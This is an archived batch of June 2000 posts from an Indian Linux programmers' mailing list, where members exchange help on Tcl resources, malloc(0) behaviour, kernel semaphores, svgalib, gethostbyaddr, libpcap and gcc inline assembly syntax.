From linux-india-programmers-owner@lists.linux-india.org Thu Jun 1 07:52:39 2000 Received: from giasbgc.vsnl.net.in (giasbgc.vsnl.net.in [202.54.12.163]) by www.aunet.org (Postfix) with ESMTP id 6AB5F3805A for ; Thu, 1 Jun 2000 07:52:31 -0700 (PDT) Received: from cranks ([203.197.183.47]) by giasbgc.vsnl.net.in (8.9.3/8.9.3) with SMTP id UAA11760 for ; Thu, 1 Jun 2000 20:12:57 -0500 (GMT) Message-ID: <000201bfcbda$e8171880$2fb7c5cb@cranks> Reply-To: "Chetan Gopal Kashinath" From: "Chetan Gopal Kashinath" To: "LIP" Subject: intro on tcl wanted Date: Thu, 1 Jun 2000 15:43:15 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2014.211 X-Archive-Number: 200006/1 hi, i want some intro on tcl. i heard that it can generate java code..... whhich is the official site of tcl so that i can get more info abt it..... a detailed mail escribing its features will also help thank you - chetu From linux-india-programmers-owner@lists.linux-india.org Thu Jun 1 10:07:00 2000 Received: from web4502.mail.yahoo.com (web4502.mail.yahoo.com [216.115.105.63]) by www.aunet.org (Postfix) with SMTP id B468338051 for ; Thu, 1 Jun 2000 10:06:53 -0700 (PDT) Message-ID: <20000601170653.19779.qmail@web4502.mail.yahoo.com> Received: from [202.9.176.122] by web4502.mail.yahoo.com; Thu, 01 Jun 2000 10:06:53 PDT Date: Thu, 1 Jun 2000 10:06:53 -0700 (PDT) From: Sujai Antony Subject: Re: intro on tcl wanted To: linux-india-programmers@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200006/2 Hello friend, I think you should be knowing about the linux gazette(www.linuxgazette.com)or (www.ssc.com).Issue 8 of linux gazette contains a very good intro on that meanwhile there are many good sites listed on that mag.One of them is ftp.cc.gatech.edu tcl programing is described at the directory /pub/linux/devel/tcl/xf-doc-us.ps.gz Also if u have rhlinux installed you can find a documentation at /usr/lib (i suppose) happy programing __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From linux-india-programmers-owner@lists.linux-india.org Thu Jun 1 21:10:54 2000 Received: from gg2ns.delhi.tcs.co.in (unknown [202.54.61.36]) by www.aunet.org (Postfix) with ESMTP id EE72238079 for ; Thu, 1 Jun 2000 21:10:44 -0700 (PDT) Received: from MAILGG2.delhi.tcs.co.in (mailgg2 [157.227.2.117]) by gg2ns.delhi.tcs.co.in (8.9.1b+Sun/8.9.1) with SMTP id JAA11721 for ; Fri, 2 Jun 2000 09:11:41 -0500 (GMT) Received: by MAILGG2.delhi.tcs.co.in(Lotus SMTP MTA v4.6.1 (569.2 2-6-1998)) id 652568F2.00172420 ; Fri, 2 Jun 2000 09:42:45 +0530 X-Lotus-FromDomain: TCSDELHI From: "Prateek Gera" To: linux-india-programmers@lists.linux-india.org Message-ID: <652568F2.0016EC71.00@MAILGG2.delhi.tcs.co.in> Date: Fri, 2 Jun 2000 09:42:41 +0530 Subject: Re: intro on tcl wanted Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Archive-Number: 200006/3 > whhich is the official site of tcl so that i can get more info abt it..... Official site is www.scriptics.com . You can dowload latest tcl/tk/wish here and tutorials. Prat. ----------------------------------------------------------------------- For information on this and other Linux India mailing lists check out http://lists.linux-india.org/ From linux-india-programmers-owner@lists.linux-india.org Thu Jun 1 21:15:53 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id 4ABFE38070 for ; Thu, 1 Jun 2000 21:15:44 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id JAA17601 for ; Fri, 2 Jun 2000 09:42:13 +0500 (GMT) Received: from sarovar.mail.wipro.com ([192.168.2.18]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id JAA14091 for ; Fri, 2 Jun 2000 09:44:24 +0500 (GMT) Received: from yaksha.wipinfo.soft.net ([192.168.2.78]) by sarovar.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAA2BA9; Fri, 2 Jun 2000 09:46:01 +0530 Date: Fri, 2 Jun 2000 09:54:23 +0530 (IST) From: "Sharad Joshi" X-Sender: sharadj@yaksha.wipinfo.soft.net Reply-To: Sharad Joshi To: LIP Cc: Rakesh Jain Subject: malloc question In-Reply-To: <000201bfcbda$e8171880$2fb7c5cb@cranks> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/4 Folks, A trivial question, but interesting. A few comment lines from 2.2.14 include file /usr/include/stdlib.h (i think this hack is there since 2.0.x days)... lines 349- ________ /* Some ill behaved applications don't expect malloc (0) returns * NULL. We put this hack here for them. For good behaved * applications, we should define __MALLOC_0_RETURNS_NULL. */ /* For backward compatibilities and X11R5 */ #if (defined(MALLOC_0_RETURNS_NULL) || defined(NO_FIX_MALLOC)) \ && !defined(__MALLOC_0_RETURNS_NULL) #define __MALLOC_0_RETURNS_NULL #endif /* We have changed malloc () to take malloc (0). */ ----- If applications are ill behaved, do we need to change the kernel sources, or is it better to fix the applications? Normally, if i do a malloc(0), it does not return a NULL, so for the 'desired' behavior, i need to define the macro MALLOC_0_RETURNS_NULL in my application. Isn't it odd? Or am i missing something? Sharad. From linux-india-programmers-owner@lists.linux-india.org Thu Jun 1 21:31:21 2000 Received: from accord-soft.com (unknown [164.164.69.252]) by www.aunet.org (Postfix) with ESMTP id 952D038078 for ; Thu, 1 Jun 2000 21:31:07 -0700 (PDT) Received: from accord-soft.com (R.k.patil [192.168.1.15]) by accord-soft.com (8.9.3/8.9.3) with ESMTP id JAA15621; Fri, 2 Jun 2000 09:53:39 +0530 Message-ID: <393737D0.A557B98A@accord-soft.com> Date: Fri, 02 Jun 2000 09:58:00 +0530 From: RK Patil Organization: Accord Software & Systems Pvt. Ltd. X-Mailer: Mozilla 4.7 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: intro on tcl wanted Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/5 Hi, Tcl/Tk in Nutshell By O'Reilly should be a good starter. Some useful pointers could be: www.cis.ohio-state.edu:80/hypertext/faq/usenet/tcl-faq/top.html http://web.cs.ualberts.ca/~wade/HyperTcl A Tcl bibilography is at : ftp.aud.alcatel.com at dir tcl/docs ---regards, RK Patil From linux-india-programmers-owner@lists.linux-india.org Thu Jun 1 22:02:22 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 2FA3D38060 for ; Thu, 1 Jun 2000 22:02:14 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id WAA17352 for linux-india-programmers@lists.linux-india.org; Thu, 1 Jun 2000 22:02:02 -0700 Date: Thu, 1 Jun 2000 22:02:01 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: intro on tcl wanted Message-ID: <20000601220201.A17342@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <393737D0.A557B98A@accord-soft.com>; from RK Patil on Fri, Jun 02, 2000 at 09:58:00AM +0530 X-Archive-Number: 200006/6 You might also want to consider programming in Python instead of Tcl. There is a module called TkInter, that allows you to use Tk. -Arun From linux-india-programmers-owner@lists.linux-india.org Thu Jun 1 22:04:33 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 6F9A238099 for ; Thu, 1 Jun 2000 22:04:32 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id WAA17368 for linux-india-programmers@lists.linux-india.org; Thu, 1 Jun 2000 22:04:20 -0700 Date: Thu, 1 Jun 2000 22:04:20 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: malloc question Message-ID: <20000601220420.B17342@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: ; from Sharad Joshi on Fri, Jun 02, 2000 at 09:54:23AM +0530 X-Archive-Number: 200006/7 On Fri, Jun 02, 2000 at 09:54:23AM +0530, Sharad Joshi wrote: > If applications are ill behaved, do we need to change the kernel sources, > or is it better to fix the applications? malloc(3) is not implemented in the kernel. All kernel interfaces are in man section 2. libc stuff is in section 3. brk(2) is the kernel interface, which remains unchanged. -Arun From linux-india-programmers-owner@lists.linux-india.org Thu Jun 1 22:11:56 2000 Received: from brelay.tatainfotech.com (unknown [202.54.39.145]) by www.aunet.org (Postfix) with ESMTP id 839773809A for ; Thu, 1 Jun 2000 22:11:45 -0700 (PDT) Received: from blrmail.in.tatainfotech.com (blrmail [163.122.1.1]) by brelay.tatainfotech.com (8.9.3/8.9.3) with ESMTP id KAA03619 for ; Fri, 2 Jun 2000 10:48:35 +0530 Received: from localhost (narain.cr@localhost) by blrmail.in.tatainfotech.com (8.9.3/8.9.3) with ESMTP id KAA27455 for ; Fri, 2 Jun 2000 10:44:47 +0530 Date: Fri, 2 Jun 2000 10:44:46 +0530 (IST) From: Raju X-Sender: narain.cr@blrmail.in.tatainfotech.com To: linux-india-programmers@lists.linux-india.org Subject: Re: intro on tcl wanted In-Reply-To: <20000601220201.A17342@sharmas.dhs.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/8 Hi, You could try looking up the following site - quite good. It is a SCO visual TCL tutorial... http://www.computronics.be/courses/vtcl/CONTENTS.html Bye ... Narain. From linux-india-programmers-owner@lists.linux-india.org Thu Jun 1 23:29:06 2000 Received: from brahma.roc.com (unknown [203.197.20.176]) by www.aunet.org (Postfix) with ESMTP id F3E71380ED for ; Thu, 1 Jun 2000 23:28:28 -0700 (PDT) Received: from usb.roc.com (root@[172.16.1.182]) by brahma.roc.com (8.8.5/8.8.5) with SMTP id MAA02691 for ; Fri, 2 Jun 2000 12:02:19 +0530 (IST) From: Praveen Reply-To: praveenb@trinc.com Organization: Roc To: linux-india-programmers@lists.linux-india.org Subject: semaphore.h Date: Fri, 2 Jun 2000 11:06:06 +0400 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain MIME-Version: 1.0 Message-Id: <00060211092000.00811@usb.roc.com> Content-Transfer-Encoding: 8bit X-Archive-Number: 200006/9 Hi folks, Can any one tell me What down_trylock and down_interruptible defined in semaphore.h will do ? Thanx in Advance Praveen ***************************************** Praveen.M Software Engineer Emdedded System Rendezvous On Chip. Secunderabad. Email : praveenb@trinc.com ***************************************** From linux-india-programmers-owner@lists.linux-india.org Thu Jun 1 23:29:53 2000 Received: from brahma.roc.com (unknown [203.197.20.176]) by www.aunet.org (Postfix) with ESMTP id D9F7338132 for ; Thu, 1 Jun 2000 23:29:10 -0700 (PDT) Received: from usb.roc.com (root@[172.16.1.182]) by brahma.roc.com (8.8.5/8.8.5) with SMTP id MAA02704 for ; Fri, 2 Jun 2000 12:02:57 +0530 (IST) From: Praveen Reply-To: praveenb@trinc.com Organization: Roc To: linux-india-programmers@lists.linux-india.org Subject: semaphore.h Date: Fri, 2 Jun 2000 11:57:51 +0400 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain MIME-Version: 1.0 Message-Id: <00060211581003.00811@usb.roc.com> Content-Transfer-Encoding: 8bit X-Archive-Number: 200006/10 Hi folks, Can any one tell me What down_trylock and down_interruptible defined in semaphore.h will do ? Thanx in Advance Praveen ***************************************** Praveen.M Software Engineer Emdedded System Rendezvous On Chip. Secunderabad. Email : praveenb@trinc.com ***************************************** ------------------------------------------------------- -- ***************************************** Praveen.M Software Engineer Emdedded System Rendezvous On Chip. Secunderabad. Email : praveenb@trinc.com ***************************************** From linux-india-programmers-owner@lists.linux-india.org Fri Jun 2 00:28:14 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id B75713808B for ; Fri, 2 Jun 2000 00:28:02 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id MAA25837 for ; Fri, 2 Jun 2000 12:54:35 +0500 (GMT) Received: from sarovar.mail.wipro.com ([192.168.2.18]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id MAA29532 for ; Fri, 2 Jun 2000 12:56:47 +0500 (GMT) Received: from yaksha.wipinfo.soft.net ([192.168.2.78]) by sarovar.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAA5423; Fri, 2 Jun 2000 12:58:25 +0530 Date: Fri, 2 Jun 2000 13:06:47 +0530 (IST) From: "Sharad Joshi" X-Sender: sharadj@yaksha.wipinfo.soft.net Reply-To: Sharad Joshi To: Arun Sharma Cc: linux-india-programmers@lists.linux-india.org Subject: Re: malloc question In-Reply-To: <20000601220420.B17342@sharmas.dhs.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/11 On Thu, 1 Jun 2000, Arun Sharma wrote: + On Fri, Jun 02, 2000 at 09:54:23AM +0530, Sharad Joshi wrote: + > If applications are ill behaved, do we need to change the kernel sources, + > or is it better to fix the applications? + + malloc(3) is not implemented in the kernel. All kernel interfaces are + in man section 2. libc stuff is in section 3. + + brk(2) is the kernel interface, which remains unchanged. Ok, i agree. But theres no need to change the standard libraries behavior too, no? I was wrong when i said it was 2.2.14 kernel. It was actually 2.2.6. Checked on 2.2.13 too, /usr/include/stdlib seems to be completly different. So no MALLOC_0_RETURNS_NULL and all that now. Sharad. From linux-india-programmers-owner@lists.linux-india.org Fri Jun 2 04:32:23 2000 Received: from blr (blr.vsnl.net.in [202.54.12.6]) by www.aunet.org (Postfix) with ESMTP id C5F6F38050 for ; Fri, 2 Jun 2000 04:32:14 -0700 (PDT) Received: from 2 ([61.1.136.213]) by blr (8.9.3/8.9.3) with SMTP id QAA09075 for ; Fri, 2 Jun 2000 16:52:41 +0530 (IST) Message-ID: <000201bfcc86$ea90b7e0$d588013d@2> From: "Arjun Prabhu K" To: Subject: Re: vga_setmode() in svgalib Date: Fri, 2 Jun 2000 13:07:04 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-Archive-Number: 200006/12 hi, I have Trident 9750 card. & i think the driver in the libvga.conf is trident 9440 any info on this ? regards, -Arjun ======================== Want to know more about me ? Point your browser to http://www.arjunprabhu.com/ Or Write to me at arjunprabhu@email.com Or ICQ me @ 45975702 Or call me up on 91.824.495393 ======================== ===< "Winning isn't everything. *Wanting* to win is." >=== -----Original Message----- From: Nick Hill To: linux-india-programmers@lists.linux-india.org Date: Wednesday, May 31, 2000 9:52 PM Subject: Re: [LIP] vga_setmode() in svgalib >which card are u using and which SVGAlib driver is being used in u're libvga.conf? >Some cards have this problem... SVGAlib is getting too old, and not _much_ of >updating is being done, u better switch over to SDL... > >Nikhil. > >On Tue, May 30, 2000 at 08:57:42PM +0530, Arjun Prabhu K wrote: >> Hi , >> >> When i use the call vga_setmode(TEXT), when exiting from a svgalib program, >> the screen just turns blank and the system does not respond. (I need to >> phyically reboot) >> >> Any Points in this matter would be of great help. >> > >----------------------------------------------------------------------- >For more information on the LIP mailing list see: >http://lists.linux-india.org/lists/LIP > From linux-india-programmers-owner@lists.linux-india.org Fri Jun 2 09:32:18 2000 Received: from cgidns.cgi.co.in (unknown [206.103.12.130]) by www.aunet.org (Postfix) with ESMTP id 9CC2838107 for ; Fri, 2 Jun 2000 00:29:11 -0700 (PDT) Received: from teleindia ([206.103.12.131]) by cgidns.cgi.co.in (8.9.3/8.8.7) with ESMTP id MAA00563 for ; Fri, 2 Jun 2000 12:55:57 +0530 Message-ID: <004b01bfcc65$520fe5c0$a60c67ce@teleindia> Reply-To: "Ganesh Kumar A L *** TELEINDIA ***" From: "Ganesh Kumar A L *** TELEINDIA ***" To: Subject: Re: intro on tcl wanted Date: Fri, 2 Jun 2000 11:51:42 +0530 Organization: TIL MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-Archive-Number: 200006/13 Hi Raju, Can this vtcl work with redhat 6.1 ? A L Ganesh Kumar ( In a world without fences who needs Gates? ) ----- Original Message ----- From: Raju To: Sent: Friday, June 02, 2000 10:44 AM Subject: Re: [LIP] intro on tcl wanted > Hi, > > You could try looking up the following site - quite good. It is a SCO > visual TCL tutorial... > > http://www.computronics.be/courses/vtcl/CONTENTS.html > > Bye ... Narain. > > > ----------------------------------------------------------------------- > For information on this and other Linux India mailing lists check out > http://lists.linux-india.org/ From linux-india-programmers-owner@lists.linux-india.org Fri Jun 2 10:47:11 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 91BAE38053 for ; Fri, 2 Jun 2000 10:47:06 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id KAA18698 for linux-india-programmers@lists.linux-india.org; Fri, 2 Jun 2000 10:46:51 -0700 Date: Fri, 2 Jun 2000 10:46:51 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: semaphore.h Message-ID: <20000602104651.A18685@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <00060211581003.00811@usb.roc.com>; from Praveen on Fri, Jun 02, 2000 at 11:57:51AM +0400 X-Archive-Number: 200006/14 On Fri, Jun 02, 2000 at 11:57:51AM +0400, Praveen wrote: > > Hi folks, > Can any one tell me What down_trylock and down_interruptible defined > in semaphore.h will do ? They do the same things as the classic OS text book (P and V) semaphores. The _trylock versions are optimizations that are inlined for the common case. When there is contention, they transfer to code in arch/i386/lib/semaphore.S via a non standard calling sequence. They eventually end up in kernel/sched.c, where the sleeping and context switch takes place. The _interruptible versions allow a signal or an external event other than the semaphore becoming free wake up the process. -Arun PS: While Linux is great as a learning tool for embedded space, it makes zero business sense in that space. From linux-india-programmers-owner@lists.linux-india.org Sat Jun 3 00:31:56 2000 Received: from brelay.tatainfotech.com (unknown [202.54.39.145]) by www.aunet.org (Postfix) with ESMTP id 14FAA38057 for ; Sat, 3 Jun 2000 00:31:46 -0700 (PDT) Received: from blrmail.in.tatainfotech.com (blrmail [163.122.1.1]) by brelay.tatainfotech.com (8.9.3/8.9.3) with ESMTP id MAA24118 for ; Sat, 3 Jun 2000 12:54:15 +0530 Received: from localhost (narain.cr@localhost) by blrmail.in.tatainfotech.com (8.9.3/8.9.3) with ESMTP id MAA04272 for ; Sat, 3 Jun 2000 12:50:35 +0530 Date: Sat, 3 Jun 2000 12:50:35 +0530 (IST) From: Raju X-Sender: narain.cr@blrmail.in.tatainfotech.com To: linux-india-programmers@lists.linux-india.org Subject: Re: intro on tcl wanted In-Reply-To: <004b01bfcc65$520fe5c0$a60c67ce@teleindia> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/15 So Gani, Did U check the site out? Pretty cool. As for working with 6.1, I've never tried it, but no reason why it shouldn't... You could probably look into it and let us all know if it does... Anyway the pointer was for starting up with tcl... HTH ... Narain. On Fri, 2 Jun 2000, Ganesh Kumar A L *** TELEINDIA *** wrote: Hi Raju, Can this vtcl work with redhat 6.1 ? From linux-india-programmers-owner@lists.linux-india.org Sat Jun 3 06:03:40 2000 Received: from md3.vsnl.net.in (md3.vsnl.net.in [202.54.6.35]) by www.aunet.org (Postfix) with ESMTP id 6D59538050 for ; Sat, 3 Jun 2000 06:03:26 -0700 (PDT) Received: from server.mcs.com (IDENT:root@[210.212.251.28]) by md3.vsnl.net.in (8.9.3/8.9.3) with ESMTP id SAA10095 for ; Sat, 3 Jun 2000 18:30:24 +0530 (IST) Received: from TRISUL (trisul.mcs.com [192.168.1.7]) by server.mcs.com (8.9.3/8.8.7) with SMTP id SAA01178 for ; Sat, 3 Jun 2000 18:29:34 +0530 Message-ID: <001c01bfcd5b$943a7400$0701a8c0@mcs.com> From: "Lakshmi Anand K." To: Subject: Re: intro on tcl wanted Date: Sat, 3 Jun 2000 18:29:40 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-Archive-Number: 200006/16 | ( In a world without fences who needs Gates? ) Add a 'Bill' - 'Bill' 'Gates' :) ---------------------------- Lakshmi Anand K. MSPV Group Pavoorchatram From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 02:26:15 2000 Received: from web1302.mail.yahoo.com (web1302.mail.yahoo.com [128.11.23.152]) by www.aunet.org (Postfix) with SMTP id 4373938088 for ; Mon, 5 Jun 2000 02:26:12 -0700 (PDT) Received: (qmail 3800 invoked by uid 60001); 5 Jun 2000 09:26:11 -0000 Message-ID: <20000605092611.3799.qmail@web1302.mail.yahoo.com> Received: from [202.144.29.21] by web1302.mail.yahoo.com; Mon, 05 Jun 2000 02:26:11 PDT Date: Mon, 5 Jun 2000 02:26:11 -0700 (PDT) From: PRAKASH GOWRI To: linux-india-programmers@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200006/17 hi everybody, (1) im having a problem with the gethostbyaddr function. i specify the the arguments as :- 127.0.0.1 for the constant character pointer, 4 as the size (for ipv4 address), AF_INET for the family. but i get hptr=NULL which is the pointer to the hostent structure. i dont know if i am doing anything wrong!!!!!!! the following code fragment will make things clearer:- | | hptr=gethostbyaddr("127.0.0.1",4,AF_INET); if(hptr==NULL) { printf("gethostbyaddress error for host: %s: %s\n",ptr,hstrerror(h_errno)); printf("gethostbyaddress function return NULL, exiting \n"); exit(0); } printf("official hostaddress: %s\n",ptr); printf("length of address= %d\n",hptr->h_length); printf("official hostname: %s\n",hptr->h_name); for(pptr=hptr->h_aliases;*pptr!=NULL;pptr++) printf("\talias: %s\n",*pptr); /**************/ (2) i am trying to use libpcap (packet capture library) to develop a network analyzer(a modest one of course) and i get the following message for pcap_open_live:- /dev/bpf0 not found the code fragment is:- if ( (pd = pcap_open_live(device, snaplen, 0, 500, errbuf)) == NULL) { printf("pcap_open_live: %s\n",errbuf); } do i have to install libpcap although i have pcap which is already present in linux? if yes, then how do i go about doing it??? ciao __________________________________________________ Do You Yahoo!? Yahoo! Photos -- now, 100 FREE prints! http://photos.yahoo.com From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 02:46:25 2000 Received: from arianne.ishoni.com (unknown [164.164.83.132]) by www.aunet.org (Postfix) with ESMTP id 109CE380D0 for ; Mon, 5 Jun 2000 02:46:18 -0700 (PDT) Received: from kedar.in.ishoni.com (IDENT:kedar@kedar.in.ishoni.com [192.168.1.75]) by arianne.ishoni.com (8.9.3/8.9.3) with ESMTP id PAA29877 for ; Mon, 5 Jun 2000 15:17:24 +0530 Date: Mon, 5 Jun 2000 15:20:22 +0530 (IST) From: Kedar Patankar X-Sender: kedar@kedar.in.ishoni.com To: linux-india-programmers@lists.linux-india.org Subject: Inline assembly syntax in gcc... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/18 Hi all, Can anyone point out the way inline assembly is used in gcc? In particular I am confused about the following kind of code in the kernel. asm volatile ("movl %%cr4, %0\n\t" "movl %0, %1\n\t" "andb $0x7f, %b1\n\t" "movl %1, %%cr4\n\t" : "=r" (ctxt->cr4val), "=q" (tmp) : : "memory"); OR like this.... asm volatile ("movl %%cr0, %0\n\t" "orl $0x40000000, %0\n\t" "wbinvd\n\t" "movl %0, %%cr0\n\t" "wbinvd\n\t" : "=r" (tmp) : : "memory"); I am particularly confused about the colons and the "=r" and stuff like that. TIA, Kedar. ---------------------------------------------------------------- Kedar N. Patankar. Senior Software Engineer. ishoni Networks ...Broadband for everyone http://www.ishoni.com email - kedar@ishoni.com Phone: +91-80-2292125 (Work) Fax: +91-80-2995545 (Work) ---------------------------------------------------------------- Don't worry over what other people are thinking about you. They're too busy worrying over what you are thinking about them. From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 02:56:32 2000 Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by www.aunet.org (Postfix) with ESMTP id 4B31D380BA for ; Mon, 5 Jun 2000 02:56:28 -0700 (PDT) Received: from southrelay03.raleigh.ibm.com (southrelay03.raleigh.ibm.com [9.37.3.210]) by e21.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id FAA124818 for ; Mon, 5 Jun 2000 05:46:45 -0500 Received: from DemiUrge.in.ibm.com (demiurge.in.ibm.com [9.184.199.132]) by southrelay03.raleigh.ibm.com (8.8.8m3/NCO v4.9) with ESMTP id FAA32982 for ; Mon, 5 Jun 2000 05:55:44 -0400 Received: by DemiUrge.in.ibm.com (Postfix, from userid 1001) id B03325882D; Mon, 5 Jun 2000 15:25:50 +0530 (IST) Subject: Re: Inline assembly syntax in gcc... From: Syed Khader Vali URL: http://www.sidcarter.com/ Operating-System: Turing OS XCVII Disclaimer: Not speaking for anyone in any way, shape, or form. Copyright: Copyright 2000 Syed Khader Vali - All Rights Reserved To: linux-india-programmers@lists.linux-india.org Reply-To: sidgeek@austin.ibm.com Organization: IBM Global Services - India Date: 05 Jun 2000 15:25:49 +0530 In-Reply-To: Kedar Patankar's message of "Mon, 5 Jun 2000 15:20:22 +0530 (IST)" Message-ID: <868zwkcuze.fsf@DemiUrge.in.ibm.com> Lines: 19 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200006/19 >>>>> On Mon, 5 Jun 2000 15:20:22 +0530 (IST), Kedar Patankar said: Kedar> asm volatile ("movl %%cr4, %0\n\t" "movl %0, %1\n\t" Kedar> "andb $0x7f, %b1\n\t" "movl %1, %%cr4\n\t" : "=r" Kedar> (ctxt->cr4val), "=q" (tmp) : : "memory"); hi Kedar, Have you looked at the inline_assembly.txt file which comes with the gcc docs. That should help you in understading what these means. Let me know if you need it, I can send it to you as an attachment. Bye regards - Khader -- Linux poses a real challenge for those with a taste for late-night hacking (and/or conversations with God). Syed Khader Vali (Siddiq) sid@sidcarter.com Debian GNU/Linux (Woody) http://www.sidcarter.com From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 03:32:10 2000 Received: from arianne.ishoni.com (unknown [164.164.83.132]) by www.aunet.org (Postfix) with ESMTP id 1BD29380FE for ; Mon, 5 Jun 2000 03:32:05 -0700 (PDT) Received: from kedar.in.ishoni.com (IDENT:kedar@kedar.in.ishoni.com [192.168.1.75]) by arianne.ishoni.com (8.9.3/8.9.3) with ESMTP id QAA31852 for ; Mon, 5 Jun 2000 16:03:12 +0530 Date: Mon, 5 Jun 2000 16:06:10 +0530 (IST) From: Kedar Patankar X-Sender: kedar@kedar.in.ishoni.com To: linux-india-programmers@lists.linux-india.org Subject: Re: Inline assembly syntax in gcc... In-Reply-To: <868zwkcuze.fsf@DemiUrge.in.ibm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/20 Hi, > Have you looked at the inline_assembly.txt file which comes with the Thanx for the quick response. I didn't find that in /usr/doc/whatever. But a brief search on the web relealed this *neat* tutorial about inline assembly. I hope this URL proves useful to others on the list... http://www.castle.net/~avly/djasm.html Thanx, Kedar. ---------------------------------------------------------------- Kedar N. Patankar. Senior Software Engineer. ishoni Networks ...Broadband for everyone http://www.ishoni.com email - kedar@ishoni.com Phone: +91-80-2292125 (Work) Fax: +91-80-2995545 (Work) ---------------------------------------------------------------- Don't worry over what other people are thinking about you. They're too busy worrying over what you are thinking about them. From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 04:06:53 2000 Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by www.aunet.org (Postfix) with ESMTP id 71FE0380AA for ; Mon, 5 Jun 2000 04:06:50 -0700 (PDT) Received: from westrelay03.boulder.ibm.com (westrelay03.boulder.ibm.com [9.99.132.206]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id HAA38366 for ; Mon, 5 Jun 2000 07:01:29 -0400 Received: from DemiUrge.in.ibm.com (demiurge.in.ibm.com [9.184.199.132]) by westrelay03.boulder.ibm.com (8.8.8m3/NCO v4.9) with ESMTP id FAA112536 for ; Mon, 5 Jun 2000 05:02:16 -0600 Received: by DemiUrge.in.ibm.com (Postfix, from userid 1001) id 8DFFD5882D; Mon, 5 Jun 2000 16:32:13 +0530 (IST) Subject: Re: Inline assembly syntax in gcc... From: Syed Khader Vali URL: http://www.sidcarter.com/ Operating-System: Turing OS XCVII Disclaimer: Not speaking for anyone in any way, shape, or form. Copyright: Copyright 2000 Syed Khader Vali - All Rights Reserved To: linux-india-programmers@lists.linux-india.org Reply-To: sidgeek@austin.ibm.com Organization: IBM Global Services - India Date: 05 Jun 2000 16:32:11 +0530 In-Reply-To: Kedar Patankar's message of "Mon, 5 Jun 2000 16:06:10 +0530 (IST)" Message-ID: <864s78crws.fsf@DemiUrge.in.ibm.com> Lines: 17 MIME-Version: 1.0 